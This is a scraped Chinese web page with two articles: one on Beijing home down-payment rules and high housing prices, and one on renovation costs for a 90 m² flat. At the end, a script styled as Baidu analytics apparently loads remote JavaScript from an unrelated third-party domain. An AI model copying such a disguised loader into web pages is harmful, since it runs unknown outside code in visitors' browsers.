买北京房子首付是多少

有了房子才能成家立业是中国人自有的思想，北京是中国的首都，也是国内一线城市，很多人都向往北京，希望能在北京生活。在北京上学、就业等都比较好，所以有些人就希望能将家安在北京，想要买北京买房。现在全国的房价都一直在上涨中，北京房子涨幅也比较大，所以房子总价比较高。买房付不起总价也可以贷款啊，那么买北京房子首付是多少?买北京房子首付是多少?目前北京买房首付的政策跟全国是统一的，主要为下面几种情况：1、第一套房，房子面积不超过90平方，首付为总房款的2成。超过90平方按2..5成首付。2、第二套最低的首付是6成。3、如果是第三套房，可能不能申请贷款，具体要与银行政策来看。4、不属于上面几种情况，首付为25%。大家可以根据房子总价、首付比例来计算实际需要出的首付费用。北京房子为什么这么贵?相比于其他的城市，北京房子的价格一直给人“昂贵”的印象，这几十年来北京房子上涨了好几十倍，现在一套北京房子过千万是很正常，像一些豪宅甚至出现了一套过亿的天价，真的是要“土豪”才能买得起。导致北京房子昂贵的根本原因有几个方面：1、首都。北京从1949年开始就是我国的首都了，政治、经济、文化中心，备受全世界的关注，房子价格也一直在上涨。2、外来人口多，房子需求大。在北京有很多“北漂”，人口多就需要解决住房需求，人们的买房需求大，导致北京房子一直很贵。3、城市附加值。通过奥运会让全世界的人民认识了北京，提升了北京这座城市的综合竞争力，这对于它的房价有增长的作用。4、土地有限。相对来说北京城并不大，刨除其他的用地后，用来建造商品房的面积有限，所以北京的房子才会越来越贵。买北京房子首付是多少?通过文章的介绍大家对于北京买房首付等知识也比较了解了，北京房子的价格是比较贵，如果你没有一定经济基础的话，那么是买不起北京房子。为了不给自己背负太多的经济压力，实在买不起北京房子的时候，可以选择租房或其他的方式，没有必要非得买北京房子。

装修一套90平米的房子需要多少钱

买房后，装修的价格是业主最关心的问题。那么，装修一套90平米的房子需要多少钱?​装修一套90平米的房子需要多少钱1、简单装修每平方米500至800元。大部分装修用于建筑的基本装饰，包括一些主要材料和家具。主要材料和家具可以保证基本功能，但质量不高。2、中档装修在每平方米800-1200元之间，约10万元。中档装修适合大多数业主，包括基本建设项目和主要材料，家具和电器。除了满足基本功能外，这种装饰将更加完善，包括主要材料和家具，中档装饰的质量更好。3、精装修每平方米1200多元，房屋总装修费用15万元左右。包括主要材料，家具等。装修之后的房子看起来非常有档次。二、装修的费用1、水电费用。根据水电改造的实际建设计算，一般在5000元左右，包括水管，电缆，管件和人工成本。2、铺砖费用瓷砖包括厨房，浴室，阳台墙，根据设计，一些房屋还将包括客厅，餐厅瓷砖。瓷砖水泥砂浆等配件的人工成本一般在每平方米50元左右。3、浴室天花板屋顶装饰有厨房和浴室。选择屋面材料时，不仅质量好，而且环保，塑钢屋顶的价格为40-55元/平方米，铝合金天花板的价格约为75元/平方米。材料的选择应该是防水和防潮的，这样不会影响使用寿命。此外，在设计和规划厨房时，实际面积不应太大。如果太大，就会浪费空间。但是，如果它太小，很容易导致空间的狭窄。4、客厅，卧室装修一套90平米的房子需要多少钱，大多数家庭起居室，卧室和阳台材料都是瓷砖。市场上有各种瓷砖，价格约为60-80元/平方米。如果增加人工成本，总价格约为10000元。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();